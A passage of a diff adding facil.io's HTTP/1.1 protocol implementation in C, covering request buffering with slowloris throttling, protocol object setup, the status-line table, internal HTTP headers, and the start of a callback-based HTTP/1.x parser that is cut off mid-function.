+    i = http1_parse(&p->parser, p->buf + (org_len - p->buf_len), p->buf_len);
+    p->buf_len -= i;
+    --pipeline_limit;
+  } while (i && p->buf_len && pipeline_limit && !p->stop);
+
+  if (p->buf_len && org_len != p->buf_len) {
+    memmove(p->buf, p->buf + (org_len - p->buf_len), p->buf_len);
+  }
+
+  if (p->buf_len == HTTP_MAX_HEADER_LENGTH) {
+    /* no room to read... parser not consuming data */
+    if (p->request.method)
+      http_send_error(&p->request, 413);
+    else {
+      p->request.method = fiobj_str_tmp();
+      http_send_error(&p->request, 413);
+    }
+  }
+
+  if (!pipeline_limit) {
+    fio_force_event(uuid, FIO_EVENT_ON_DATA);
+  }
+  return;
+
+throttle:
+  /* throttle busy clients (slowloris) */
+  p->stop |= 4;
+  fio_suspend(uuid);
+  FIO_LOG_DEBUG("(HTTP/1,1) throttling client at %.*s",
+                (int)fio_peer_addr(uuid).len, fio_peer_addr(uuid).data);
+}
+
+/** called when a data is available, but will not run concurrently */
+static void http1_on_data(intptr_t uuid, fio_protocol_s *protocol) {
+  http1pr_s *p = (http1pr_s *)protocol;
+  if (p->stop) {
+    fio_suspend(uuid);
+    return;
+  }
+  ssize_t i = 0;
+  if (HTTP_MAX_HEADER_LENGTH - p->buf_len)
+    i = fio_read(uuid, p->buf + p->buf_len,
+                 HTTP_MAX_HEADER_LENGTH - p->buf_len);
+  if (i > 0) {
+    p->buf_len += i;
+  }
+  http1_consume_data(uuid, p);
+}
+
+/** called when the connection was closed, but will not run concurrently */
+static void http1_on_close(intptr_t uuid, fio_protocol_s *protocol) {
+  http1_destroy(protocol);
+  (void)uuid;
+}
+
+/** called when the connection was closed, but will not run concurrently */
+static void http1_on_ready(intptr_t uuid, fio_protocol_s *protocol) {
+  /* resume slow clients from suspension */
+  http1pr_s *p = (http1pr_s *)protocol;
+  if (p->stop & 4) {
+    p->stop ^= 4; /* flip back the bit, so it's zero */
+    fio_force_event(uuid, FIO_EVENT_ON_DATA);
+  }
+  (void)protocol;
+}
+
+/** called when a data is available for the first time */
+static void http1_on_data_first_time(intptr_t uuid, fio_protocol_s *protocol) {
+  http1pr_s *p = (http1pr_s *)protocol;
+  ssize_t i;
+
+  i = fio_read(uuid, p->buf + p->buf_len, HTTP_MAX_HEADER_LENGTH - p->buf_len);
+
+  if (i <= 0)
+    return;
+  p->buf_len += i;
+
+  /* ensure future reads skip this first time HTTP/2.0 test */
+  p->p.protocol.on_data = http1_on_data;
+  if (i >= 24 && !memcmp(p->buf, "PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n", 24)) {
+    FIO_LOG_WARNING("client claimed unsupported HTTP/2 prior knowledge.");
+    fio_close(uuid);
+    return;
+  }
+
+  /* Finish handling the same way as the normal `on_data` */
+  http1_consume_data(uuid, p);
+}
+
+/* *****************************************************************************
+Public API
+***************************************************************************** */
+
+/** Creates an HTTP1 protocol object and handles any unread data in the buffer
+ * (if any). */
+fio_protocol_s *http1_new(uintptr_t uuid, http_settings_s *settings,
+                          void *unread_data, size_t unread_length) {
+  if (unread_data && unread_length > HTTP_MAX_HEADER_LENGTH)
+    return NULL;
+  http1pr_s *p = fio_malloc(sizeof(*p) + HTTP_MAX_HEADER_LENGTH);
+  // FIO_LOG_DEBUG("Allocated HTTP/1.1 protocol at. %p", (void *)p);
+  FIO_ASSERT_ALLOC(p);
+  *p = (http1pr_s){
+      .p.protocol =
+          {
+              .on_data = http1_on_data_first_time,
+              .on_close = http1_on_close,
+              .on_ready = http1_on_ready,
+          },
+      .p.uuid = uuid,
+      .p.settings = settings,
+      .max_header_size = settings->max_header_size,
+      .is_client = settings->is_client,
+  };
+  http_s_new(&p->request, &p->p, &HTTP1_VTABLE);
+  if (unread_data && unread_length <= HTTP_MAX_HEADER_LENGTH) {
+    memcpy(p->buf, unread_data, unread_length);
+    p->buf_len = unread_length;
+  }
+  fio_attach(uuid, &p->p.protocol);
+  if (unread_data && unread_length <= HTTP_MAX_HEADER_LENGTH) {
+    fio_force_event(uuid, FIO_EVENT_ON_DATA);
+  }
+  return &p->p.protocol;
+}
+
+/** Manually destroys the HTTP1 protocol object. */
+void http1_destroy(fio_protocol_s *pr) {
+  http1pr_s *p = (http1pr_s *)pr;
+  http1_pr2handle(p).status = 0;
+  http_s_destroy(&http1_pr2handle(p), 0);
+  fio_free(p);
+  // FIO_LOG_DEBUG("Deallocated HTTP/1.1 protocol at. %p", (void *)p);
+}
+
+/* *****************************************************************************
+Protocol Data
+***************************************************************************** */
+
+// clang-format off
+#define HTTP_SET_STATUS_STR(status, str) [((status)-100)] = { .data = (char*)("HTTP/1.1 " #status " " str "\r\n"), .len = (sizeof("HTTP/1.1 " #status " " str "\r\n") - 1) }
+// #undef HTTP_SET_STATUS_STR
+// clang-format on
+
+static fio_str_info_s http1pr_status2str(uintptr_t status) {
+  static fio_str_info_s status2str[] = {
+      HTTP_SET_STATUS_STR(100, "Continue"),
+      HTTP_SET_STATUS_STR(101, "Switching Protocols"),
+      HTTP_SET_STATUS_STR(102, "Processing"),
+      HTTP_SET_STATUS_STR(103, "Early Hints"),
+      HTTP_SET_STATUS_STR(200, "OK"),
+      HTTP_SET_STATUS_STR(201, "Created"),
+      HTTP_SET_STATUS_STR(202, "Accepted"),
+      HTTP_SET_STATUS_STR(203, "Non-Authoritative Information"),
+      HTTP_SET_STATUS_STR(204, "No Content"),
+      HTTP_SET_STATUS_STR(205, "Reset Content"),
+      HTTP_SET_STATUS_STR(206, "Partial Content"),
+      HTTP_SET_STATUS_STR(207, "Multi-Status"),
+      HTTP_SET_STATUS_STR(208, "Already Reported"),
+      HTTP_SET_STATUS_STR(226, "IM Used"),
+      HTTP_SET_STATUS_STR(300, "Multiple Choices"),
+      HTTP_SET_STATUS_STR(301, "Moved Permanently"),
+      HTTP_SET_STATUS_STR(302, "Found"),
+      HTTP_SET_STATUS_STR(303, "See Other"),
+      HTTP_SET_STATUS_STR(304, "Not Modified"),
+      HTTP_SET_STATUS_STR(305, "Use Proxy"),
+      HTTP_SET_STATUS_STR(306, "(Unused), "),
+      HTTP_SET_STATUS_STR(307, "Temporary Redirect"),
+      HTTP_SET_STATUS_STR(308, "Permanent Redirect"),
+      HTTP_SET_STATUS_STR(400, "Bad Request"),
+      HTTP_SET_STATUS_STR(403, "Forbidden"),
+      HTTP_SET_STATUS_STR(404, "Not Found"),
+      HTTP_SET_STATUS_STR(401, "Unauthorized"),
+      HTTP_SET_STATUS_STR(402, "Payment Required"),
+      HTTP_SET_STATUS_STR(405, "Method Not Allowed"),
+      HTTP_SET_STATUS_STR(406, "Not Acceptable"),
+      HTTP_SET_STATUS_STR(407, "Proxy Authentication Required"),
+      HTTP_SET_STATUS_STR(408, "Request Timeout"),
+      HTTP_SET_STATUS_STR(409, "Conflict"),
+      HTTP_SET_STATUS_STR(410, "Gone"),
+      HTTP_SET_STATUS_STR(411, "Length Required"),
+      HTTP_SET_STATUS_STR(412, "Precondition Failed"),
+      HTTP_SET_STATUS_STR(413, "Payload Too Large"),
+      HTTP_SET_STATUS_STR(414, "URI Too Long"),
+      HTTP_SET_STATUS_STR(415, "Unsupported Media Type"),
+      HTTP_SET_STATUS_STR(416, "Range Not Satisfiable"),
+      HTTP_SET_STATUS_STR(417, "Expectation Failed"),
+      HTTP_SET_STATUS_STR(421, "Misdirected Request"),
+      HTTP_SET_STATUS_STR(422, "Unprocessable Entity"),
+      HTTP_SET_STATUS_STR(423, "Locked"),
+      HTTP_SET_STATUS_STR(424, "Failed Dependency"),
+      HTTP_SET_STATUS_STR(425, "Unassigned"),
+      HTTP_SET_STATUS_STR(426, "Upgrade Required"),
+      HTTP_SET_STATUS_STR(427, "Unassigned"),
+      HTTP_SET_STATUS_STR(428, "Precondition Required"),
+      HTTP_SET_STATUS_STR(429, "Too Many Requests"),
+      HTTP_SET_STATUS_STR(430, "Unassigned"),
+      HTTP_SET_STATUS_STR(431, "Request Header Fields Too Large"),
+      HTTP_SET_STATUS_STR(500, "Internal Server Error"),
+      HTTP_SET_STATUS_STR(501, "Not Implemented"),
+      HTTP_SET_STATUS_STR(502, "Bad Gateway"),
+      HTTP_SET_STATUS_STR(503, "Service Unavailable"),
+      HTTP_SET_STATUS_STR(504, "Gateway Timeout"),
+      HTTP_SET_STATUS_STR(505, "HTTP Version Not Supported"),
+      HTTP_SET_STATUS_STR(506, "Variant Also Negotiates"),
+      HTTP_SET_STATUS_STR(507, "Insufficient Storage"),
+      HTTP_SET_STATUS_STR(508, "Loop Detected"),
+      HTTP_SET_STATUS_STR(509, "Unassigned"),
+      HTTP_SET_STATUS_STR(510, "Not Extended"),
+      HTTP_SET_STATUS_STR(511, "Network Authentication Required"),
+  };
+  fio_str_info_s ret = (fio_str_info_s){.len = 0, .data = NULL};
+  if (status >= 100 &&
+      (status - 100) < sizeof(status2str) / sizeof(status2str[0]))
+    ret = status2str[status - 100];
+  if (!ret.data) {
+    ret = status2str[400];
+  }
+  return ret;
+}
+#undef HTTP_SET_STATUS_STR

facil.io/lib/facil/http/http1.h

@@ -0,0 +1,29 @@
+/*
+Copyright: Boaz Segev, 2017-2019
+License: MIT
+*/
+#ifndef H_HTTP1_H
+#define H_HTTP1_H
+
+#include <http.h>
+
+#ifndef HTTP1_READ_BUFFER
+/**
+ * The size of a single `read` command, it sets the limit for an HTTP/1.1
+ * header line.
+ */
+#define HTTP1_READ_BUFFER (8 * 1024) /* ~8kb */
+#endif
+
+/** Creates an HTTP1 protocol object and handles any unread data in the buffer
+ * (if any). */
+fio_protocol_s *http1_new(uintptr_t uuid, http_settings_s *settings,
+                          void *unread_data, size_t unread_length);
+
+/** Manually destroys the HTTP1 protocol object. */
+void http1_destroy(fio_protocol_s *);
+
+/** returns the HTTP/1.1 protocol's VTable. */
+void *http1_vtable(void);
+
+#endif

facil.io/lib/facil/http/http_internal.h

@@ -0,0 +1,235 @@
+/*
+Copyright: Boaz Segev, 2016-2019
+License: MIT
+
+Feel free to copy, use and enjoy according to the license provided.
+*/
+#ifndef H_HTTP_INTERNAL_H
+#define H_HTTP_INTERNAL_H
+
+#include <fio.h>
+/* subscription lists have a long lifetime */
+#define FIO_FORCE_MALLOC_TMP 1
+#define FIO_INCLUDE_LINKED_LIST
+#include <fio.h>
+
+#include <http.h>
+
+#include <arpa/inet.h>
+#include <errno.h>
+
+/* *****************************************************************************
+Types
+***************************************************************************** */
+
+typedef struct http_fio_protocol_s http_fio_protocol_s;
+typedef struct http_vtable_s http_vtable_s;
+
+struct http_vtable_s {
+  /** Should send existing headers and data */
+  int (*const http_send_body)(http_s *h, void *data, uintptr_t length);
+  /** Should send existing headers and file */
+  int (*const http_sendfile)(http_s *h, int fd, uintptr_t length,
+                             uintptr_t offset);
+  /** Should send existing headers and data and prepare for streaming */
+  int (*const http_stream)(http_s *h, void *data, uintptr_t length);
+  /** Should send existing headers or complete streaming */
+  void (*const http_finish)(http_s *h);
+  /** Push for data. */
+  int (*const http_push_data)(http_s *h, void *data, uintptr_t length,
+                              FIOBJ mime_type);
+  /** Upgrades a connection to Websockets. */
+  int (*const http2websocket)(http_s *h, websocket_settings_s *arg);
+  /** Push for files. */
+  int (*const http_push_file)(http_s *h, FIOBJ filename, FIOBJ mime_type);
+  /** Pauses the request / response handling. */
+  void (*http_on_pause)(http_s *, http_fio_protocol_s *);
+
+  /** Resumes a request / response handling. */
+  void (*http_on_resume)(http_s *, http_fio_protocol_s *);
+  /** hijacks the socket aaway from the protocol. */
+  intptr_t (*http_hijack)(http_s *h, fio_str_info_s *leftover);
+
+  /** Upgrades an HTTP connection to an EventSource (SSE) connection. */
+  int (*http_upgrade2sse)(http_s *h, http_sse_s *sse);
+  /** Writes data to an EventSource (SSE) connection. MUST free the FIOBJ. */
+  int (*http_sse_write)(http_sse_s *sse, FIOBJ str);
+  /** Closes an EventSource (SSE) connection. */
+  int (*http_sse_close)(http_sse_s *sse);
+};
+
+struct http_fio_protocol_s {
+  fio_protocol_s protocol;   /* facil.io protocol */
+  intptr_t uuid;             /* socket uuid */
+  http_settings_s *settings; /* pointer to HTTP settings */
+};
+
+#define http2protocol(h) ((http_fio_protocol_s *)h->private_data.flag)
+
+/* *****************************************************************************
+Constants that shouldn't be accessed by the users (`fiobj_dup` required).
+***************************************************************************** */
+
+extern FIOBJ HTTP_HEADER_ACCEPT_RANGES;
+extern FIOBJ HTTP_HEADER_WS_SEC_CLIENT_KEY;
+extern FIOBJ HTTP_HEADER_WS_SEC_KEY;
+extern FIOBJ HTTP_HVALUE_BYTES;
+extern FIOBJ HTTP_HVALUE_CLOSE;
+extern FIOBJ HTTP_HVALUE_CONTENT_TYPE_DEFAULT;
+extern FIOBJ HTTP_HVALUE_GZIP;
+extern FIOBJ HTTP_HVALUE_KEEP_ALIVE;
+extern FIOBJ HTTP_HVALUE_MAX_AGE;
+extern FIOBJ HTTP_HVALUE_NO_CACHE;
+extern FIOBJ HTTP_HVALUE_SSE_MIME;
+extern FIOBJ HTTP_HVALUE_WEBSOCKET;
+extern FIOBJ HTTP_HVALUE_WS_SEC_VERSION;
+extern FIOBJ HTTP_HVALUE_WS_UPGRADE;
+extern FIOBJ HTTP_HVALUE_WS_VERSION;
+
+/* *****************************************************************************
+HTTP request/response object management
+***************************************************************************** */
+
+static inline void http_s_new(http_s *h, http_fio_protocol_s *owner,
+                              http_vtable_s *vtbl) {
+  *h = (http_s){
+      .private_data =
+          {
+              .vtbl = vtbl,
+              .flag = (uintptr_t)owner,
+              .out_headers = fiobj_hash_new(),
+          },
+      .headers = fiobj_hash_new(),
+      .received_at = fio_last_tick(),
+      .status = 200,
+  };
+}
+
+static inline void http_s_destroy(http_s *h, uint8_t log) {
+  if (log && h->status && !h->status_str) {
+    http_write_log(h);
+  }
+  fiobj_free(h->method);
+  fiobj_free(h->status_str);
+  fiobj_free(h->private_data.out_headers);
+  fiobj_free(h->headers);
+  fiobj_free(h->version);
+  fiobj_free(h->query);
+  fiobj_free(h->path);
+  fiobj_free(h->cookies);
+  fiobj_free(h->body);
+  fiobj_free(h->params);
+
+  *h = (http_s){
+      .private_data.vtbl = h->private_data.vtbl,
+      .private_data.flag = h->private_data.flag,
+  };
+}
+
+static inline void http_s_clear(http_s *h, uint8_t log) {
+  http_s_destroy(h, log);
+  http_s_new(h, (http_fio_protocol_s *)h->private_data.flag,
+             h->private_data.vtbl);
+}
+
+/** tests handle validity */
+#define HTTP_INVALID_HANDLE(h)                                                 \
+  (!(h) || (!(h)->method && !(h)->status_str && (h)->status))
+
+/* *****************************************************************************
+Request / Response Handlers
+***************************************************************************** */
+
+/** Use this function to handle HTTP requests.*/
+void http_on_request_handler______internal(http_s *h,
+                                           http_settings_s *settings);
+
+void http_on_response_handler______internal(http_s *h,
+                                            http_settings_s *settings);
+int http_send_error2(size_t error, intptr_t uuid, http_settings_s *settings);
+
+/* *****************************************************************************
+EventSource Support (SSE)
+***************************************************************************** */
+
+typedef struct http_sse_internal_s {
+  http_sse_s sse;         /* the user SSE settings */
+  intptr_t uuid;          /* the socket's uuid */
+  http_vtable_s *vtable;  /* the protocol's vtable */
+  uintptr_t id;           /* the SSE identifier */
+  fio_ls_s subscriptions; /* Subscription List */
+  fio_lock_i lock;        /* Subscription List lock */
+  size_t ref;             /* reference count */
+} http_sse_internal_s;
+
+static inline void http_sse_init(http_sse_internal_s *sse, intptr_t uuid,
+                                 http_vtable_s *vtbl, http_sse_s *args) {
+  *sse = (http_sse_internal_s){
+      .sse = *args,
+      .uuid = uuid,
+      .subscriptions = FIO_LS_INIT(sse->subscriptions),
+      .vtable = vtbl,
+      .ref = 1,
+  };
+}
+
+static inline void http_sse_try_free(http_sse_internal_s *sse) {
+  if (fio_atomic_sub(&sse->ref, 1))
+    return;
+  fio_free(sse);
+}
+
+static inline void http_sse_destroy(http_sse_internal_s *sse) {
+  while (fio_ls_any(&sse->subscriptions)) {
+    void *sub = fio_ls_pop(&sse->subscriptions);
+    fio_unsubscribe(sub);
+  }
+  if (sse->sse.on_close)
+    sse->sse.on_close(&sse->sse);
+  sse->uuid = -1;
+  http_sse_try_free(sse);
+}
+
+/* *****************************************************************************
+Helpers
+***************************************************************************** */
+
+/** sets an outgoing header only if it doesn't exist */
+static inline void set_header_if_missing(FIOBJ hash, FIOBJ name, FIOBJ value) {
+  FIOBJ old = fiobj_hash_replace(hash, name, value);
+  if (!old)
+    return;
+  fiobj_hash_replace(hash, name, old);
+  fiobj_free(value);
+}
+
+/** sets an outgoing header, collecting duplicates in an Array (i.e. cookies)
+ */
+static inline void set_header_add(FIOBJ hash, FIOBJ name, FIOBJ value) {
+  FIOBJ old = fiobj_hash_replace(hash, name, value);
+  if (!old)
+    return;
+  if (!value) {
+    fiobj_free(old);
+    return;
+  }
+  if (!FIOBJ_TYPE_IS(old, FIOBJ_T_ARRAY)) {
+    FIOBJ tmp = fiobj_ary_new();
+    fiobj_ary_push(tmp, old);
+    old = tmp;
+  }
+  if (FIOBJ_TYPE_IS(value, FIOBJ_T_ARRAY)) {
+    for (size_t i = 0; i < fiobj_ary_count(value); ++i) {
+      fiobj_ary_push(old, fiobj_dup(fiobj_ary_index(value, i)));
+    }
+    /* frees `value` */
+    fiobj_hash_set(hash, name, old);
+    return;
+  }
+  /* value will be owned by both hash and array */
+  fiobj_ary_push(old, value);
+  /* don't free `value` (leave in array) */
+  fiobj_hash_replace(hash, name, old);
+}
+
+#endif /* H_HTTP_INTERNAL_H */

facil.io/lib/facil/http/parsers/http1_parser.h

@@ -0,0 +1,873 @@
+#ifndef H_HTTP1_PARSER_H
+/*
+Copyright: Boaz Segev, 2017-2020
+License: MIT
+
+Feel free to copy, use and enjoy according to the license provided.
+*/
+
+/**
+This is a callback based parser. It parses the skeleton of the HTTP/1.x protocol
+and leaves most of the work (validation, error checks, etc') to the callbacks.
+*/
+#define H_HTTP1_PARSER_H
+#include <stddef.h>
+#include <stdint.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/types.h>
+
+/* *****************************************************************************
+Parser Settings
+***************************************************************************** */
+
+#ifndef HTTP_HEADERS_LOWERCASE
+/**
+ * When defined, HTTP headers will be converted to lowercase and header
+ * searches will be case sensitive.
+ *
+ * This is highly recommended, required by facil.io and helps with HTTP/2
+ * compatibility.
+ */
+#define HTTP_HEADERS_LOWERCASE 1
+#endif
+
+#ifndef HTTP_ADD_CONTENT_LENGTH_HEADER_IF_MISSING
+#define HTTP_ADD_CONTENT_LENGTH_HEADER_IF_MISSING 1
+#endif
+
+#ifndef FIO_MEMCHAR
+/** Prefer a custom memchr implementation. Usualy memchr is better. */
+#define FIO_MEMCHAR 0
+#endif
+
+#ifndef ALLOW_UNALIGNED_MEMORY_ACCESS
+/** Peforms some optimizations assuming unaligned memory access is okay. */
+#define ALLOW_UNALIGNED_MEMORY_ACCESS 0
+#endif
+
+#ifndef HTTP1_PARSER_CONVERT_EOL2NUL
+#define HTTP1_PARSER_CONVERT_EOL2NUL 0
+#endif
+
+/* *****************************************************************************
+Parser API
+***************************************************************************** */
+
+/** this struct contains the state of the parser. */
+typedef struct http1_parser_s {
+  struct http1_parser_protected_read_only_state_s {
+    long long content_length; /* negative values indicate chuncked data state */
+    ssize_t read;     /* total number of bytes read so far (body only) */
+    uint8_t *next;    /* the known position for the end of request/response */
+    uint8_t reserved; /* for internal use */
+  } state;
+} http1_parser_s;
+
+#define HTTP1_PARSER_INIT                                                      \
+  {                                                                            \
+    { 0 }                                                                      \
+  }
+
+/**
+ * Returns the amount of data actually consumed by the parser.
+ *
+ * The value 0 indicates there wasn't enough data to be parsed and the same
+ * buffer (with more data) should be resubmitted.
+ *
+ * A value smaller than the buffer size indicates that EITHER a request /
+ * response was detected OR that the leftover could not be consumed because more
+ * data was required.
+ *
+ * Simply resubmit the reminder of the data to continue parsing.
+ *
+ * A request / response callback automatically stops the parsing process,
+ * allowing the user to adjust or refresh the state of the data.
+ */
+static size_t http1_parse(http1_parser_s *parser, void *buffer, size_t length);
+
+/* *****************************************************************************
+Required Callbacks (MUST be implemented by including file)
+***************************************************************************** */
+
+/** called when a request was received. */
+static int http1_on_request(http1_parser_s *parser);
+/** called when a response was received. */
+static int http1_on_response(http1_parser_s *parser);
+/** called when a request method is parsed. */
+static int http1_on_method(http1_parser_s *parser, char *method,
+                           size_t method_len);
+/** called when a response status is parsed. the status_str is the string
+ * without the prefixed numerical status indicator.*/
+static int http1_on_status(http1_parser_s *parser, size_t status,
+                           char *status_str, size_t len);
+/** called when a request path (excluding query) is parsed. */
+static int http1_on_path(http1_parser_s *parser, char *path, size_t path_len);
+/** called when a request path (excluding query) is parsed. */
+static int http1_on_query(http1_parser_s *parser, char *query,
+                          size_t query_len);
+/** called when a the HTTP/1.x version is parsed. */
+static int http1_on_version(http1_parser_s *parser, char *version, size_t len);
+/** called when a header is parsed. */
+static int http1_on_header(http1_parser_s *parser, char *name, size_t name_len,
+                           char *data, size_t data_len);
+/** called when a body chunk is parsed. */
+static int http1_on_body_chunk(http1_parser_s *parser, char *data,
+                               size_t data_len);
+/** called when a protocol error occurred. */
+static int http1_on_error(http1_parser_s *parser);
+
+/* *****************************************************************************
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+                        Implementation Details
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+***************************************************************************** */
+
+#if HTTP_HEADERS_LOWERCASE
+#define HEADER_NAME_IS_EQ(var_name, const_name, len)                           \
+  (!memcmp((var_name), (const_name), (len)))
+#else
+#define HEADER_NAME_IS_EQ(var_name, const_name, len)                           \
+  (!strncasecmp((var_name), (const_name), (len)))
+#endif
+
+#define HTTP1_P_FLAG_STATUS_LINE 1
+#define HTTP1_P_FLAG_HEADER_COMPLETE 2
+#define HTTP1_P_FLAG_COMPLETE 4
+#define HTTP1_P_FLAG_CLENGTH 8
+#define HTTP1_PARSER_BIT_16 16
+#define HTTP1_PARSER_BIT_32 32
+#define HTTP1_P_FLAG_CHUNKED 64
+#define HTTP1_P_FLAG_RESPONSE 128
+
+/* *****************************************************************************
+Seeking for characters in a string
+***************************************************************************** */
+
+#if FIO_MEMCHAR
+
+/**
+ * This seems to be faster on some systems, especially for smaller distances.
+ *
+ * On newer systems, `memchr` should be faster.
+ */
+static int seek2ch(uint8_t **buffer, register uint8_t *const limit,
+                   const uint8_t c) {
+  if (*buffer >= limit)
+    return 0;
+  if (**buffer == c) {
+    return 1;
+  }
+
+#if !HTTP1_UNALIGNED_MEMORY_ACCESS_ENABLED
+  /* too short for this mess */
+  if ((uintptr_t)limit <= 16 + ((uintptr_t)*buffer & (~(uintptr_t)7)))
+    goto finish;
+
+  /* align memory */
+  {
+    const uint8_t *alignment =
+        (uint8_t *)(((uintptr_t)(*buffer) & (~(uintptr_t)7)) + 8);
+    if (*buffer < alignment)
+      *buffer += 1; /* we already tested this char */
+    if (limit >= alignment) {
+      while (*buffer < alignment) {
+        if (**buffer == c) {
+          return 1;
+        }
+        *buffer += 1;
+      }
+    }
+  }
+  const uint8_t *limit64 = (uint8_t *)((uintptr_t)limit & (~(uintptr_t)7));
+#else
+  const uint8_t *limit64 = (uint8_t *)limit - 7;
+#endif
+  uint64_t wanted1 = 0x0101010101010101ULL * c;
+  for (; *buffer < limit64; *buffer += 8) {
+    const uint64_t eq1 = ~((*((uint64_t *)*buffer)) ^ wanted1);
+    const uint64_t t0 = (eq1 & 0x7f7f7f7f7f7f7f7fllu) + 0x0101010101010101llu;
+    const uint64_t t1 = (eq1 & 0x8080808080808080llu);
+    if ((t0 & t1)) {
+      break;
+    }
+  }
+#if !HTTP1_UNALIGNED_MEMORY_ACCESS_ENABLED
+finish:
+#endif
+  while (*buffer < limit) {
+    if (**buffer == c) {
+      return 1;
+    }
+    (*buffer)++;
+  }
+  return 0;
+}
+
+#else
+
+/* a helper that seeks any char, converts it to NUL and returns 1 if found. */
+inline static uint8_t seek2ch(uint8_t **pos, uint8_t *const limit, uint8_t ch) {
+  /* This is library based alternative that is sometimes slower  */
+  if (*pos >= limit)
+    return 0;
+  if (**pos == ch) {
+    return 1;
+  }
+  uint8_t *tmp = memchr(*pos, ch, limit - (*pos));
+  if (tmp) {
+    *pos = tmp;
+    return 1;
+  }
+  *pos = limit;
+  return 0;
+}
+
+#endif
+
+/* a helper that seeks the EOL, converts it to NUL and returns it's length */
+inline static uint8_t seek2eol(uint8_t **pos, uint8_t *const limit) {
+  /* single char lookup using memchr might be better when target is far... */
+  if (!seek2ch(pos, limit, '\n'))
+    return 0;
+  if ((*pos)[-1] == '\r') {
+#if HTTP1_PARSER_CONVERT_EOL2NUL
+    (*pos)[-1] = (*pos)[0] = 0;
+#endif
+    return 2;
+  }
+#if HTTP1_PARSER_CONVERT_EOL2NUL
+  (*pos)[0] = 0;
+#endif
+  return 1;
+}
+
+/* *****************************************************************************
+Change a letter to lower case (latin only)
+***************************************************************************** */
+
+static uint8_t http_tolower(uint8_t c) {
+  if (c >= 'A' && c <= 'Z')
+    c |= 32;
+  return c;
+}
+
+/* *****************************************************************************
+String to Number
+***************************************************************************** */
+
+/** Converts a String to a number using base 10 */
+static long long http1_atol(const uint8_t *buf, const uint8_t **end) {
+  register unsigned long long i = 0;
+  uint8_t inv = 0;
+  while (*buf == ' ' || *buf == '\t' || *buf == '\f')
+    ++buf;
+  while (*buf == '-' || *buf == '+')
+    inv ^= (*(buf++) == '-');
+  while (i <= ((((~0ULL) >> 1) / 10)) && *buf >= '0' && *buf <= '9') {
+    i = i * 10;
+    i += *buf - '0';
+    ++buf;
+  }
+  /* test for overflow */
+  if (i >= (~((~0ULL) >> 1)) || (*buf >= '0' && *buf <= '9'))
+    i = (~0ULL >> 1);
+  if (inv)
+    i = 0ULL - i;
+  if (end)
+    *end = buf;
+  return i;
+}
+
+/** Converts a String to a number using base 16, overflow limited to 113bytes */
+static long long http1_atol16(const uint8_t *buf, const uint8_t **end) {
+  register unsigned long long i = 0;
+  uint8_t inv = 0;
+  for (int limit_ = 0;
+       (*buf == ' ' || *buf == '\t' || *buf == '\f') && limit_ < 32; ++limit_)
+    ++buf;
+  for (int limit_ = 0; (*buf == '-' || *buf == '+') && limit_ < 32; ++limit_)
+    inv ^= (*(buf++) == '-');
+  if (*buf == '0')
+    ++buf;
+  if ((*buf | 32) == 'x')
+    ++buf;
+  for (int limit_ = 0; (*buf == '0') && limit_ < 32; ++limit_)
+    ++buf;
+  while (!(i & (~((~(0ULL)) >> 4)))) {
+    if (*buf >= '0' && *buf <= '9') {
+      i <<= 4;
+      i |= *buf - '0';
+    } else if ((*buf | 32) >= 'a' && (*buf | 32) <= 'f') {
+      i <<= 4;
+      i |= (*buf | 32) - ('a' - 10);
+    } else
+      break;
+    ++buf;
+  }
+  if (inv)
+    i = 0ULL - i;
+  if (end)
+    *end = buf;
+  return i;
+}
+
+/* *****************************************************************************
+HTTP/1.1 parsre stages
+***************************************************************************** */
+
+inline static int http1_consume_response_line(http1_parser_s *parser,
+                                              uint8_t *start, uint8_t *end) {
+  parser->state.reserved |= HTTP1_P_FLAG_RESPONSE;
+  uint8_t *tmp = start;
+  if (!seek2ch(&tmp, end, ' '))
+    return -1;
+  if (http1_on_version(parser, (char *)start, tmp - start))
+    return -1;
+  tmp = start = tmp + 1;
+  if (!seek2ch(&tmp, end, ' '))
+    return -1;
+  if (http1_on_status(parser, http1_atol(start, NULL), (char *)(tmp + 1),
+                      end - tmp))
+    return -1;
+  return 0;
+}
+
+inline static int http1_consume_request_line(http1_parser_s *parser,
+                                             uint8_t *start, uint8_t *end) {
+  uint8_t *tmp = start;
+  uint8_t *host_start = NULL;
+  uint8_t *host_end = NULL;
+  if (!seek2ch(&tmp, end, ' '))
+    return -1;
+  if (http1_on_method(parser, (char *)start, tmp - start))
+    return -1;
+  tmp = start = tmp + 1;
+  if (start[0] == 'h' && start[1] == 't' && start[2] == 't' &&
+      start[3] == 'p') {
+    if (start[4] == ':' && start[5] == '/' && start[6] == '/') {
+      /* Request URI is in long form... emulate Host header instead. */
+      tmp = host_end = host_start = (start += 7);
+    } else if (start[4] == 's' && start[5] == ':' && start[6] == '/' &&
+               start[7] == '/') {
+      /* Secure request is in long form... emulate Host header instead. */
+      tmp = host_end = host_start = (start += 8);
+    } else
+      goto review_path;
+    if (!seek2ch(&tmp, end, ' '))
+      return -1;
+    *tmp = ' ';
+    if (!seek2ch(&host_end, tmp, '/')) {
+      if (http1_on_path(parser, (char *)"/", 1))
+        return -1;
+      goto start_version;
+    }
+    host_end[0] = '/';
+    start = host_end;
+  }
+review_path:
+  tmp = start;
+  if (seek2ch(&tmp, end, '?')) {
+    if (http1_on_path(parser, (char *)start, tmp - start))
+      return -1;
+    tmp = start = tmp + 1;
+    if (!seek2ch(&tmp, end, ' '))
+      return -1;
+    if (tmp - start > 0 && http1_on_query(parser, (char *)start, tmp - start))
+      return -1;
+  } else {
+    tmp = start;
+    if (!seek2ch(&tmp, end, ' '))
+      return -1;
+    if (http1_on_path(parser, (char *)start, tmp - start))
+      return -1;
+  }
+start_version:
+  start = tmp + 1;
+  if (start + 5 >= end) /* require "HTTP/" */
+    return -1;
+  if (http1_on_version(parser, (char *)start, end - start))
+    return -1;
+  /* */
+  if (host_start && http1_on_header(parser, (char *)"host", 4,
+                                    (char *)host_start, host_end - host_start))
+    return -1;
+  return 0;
+}
+
+#ifndef HTTP1_ALLOW_CHUNKED_IN_MIDDLE_OF_HEADER
+inline /* inline the function of it's short enough */
+#endif
+    static int
+    http1_consume_header_transfer_encoding(http1_parser_s *parser,
+                                           uint8_t *start, uint8_t *end_name,
+                                           uint8_t *start_value, uint8_t *end) {
+  /* this removes the `chunked` marker and prepares to "unchunk" the data */
+  while (start_value < end && (end[-1] == ',' || end[-1] == ' '))
+    --end;
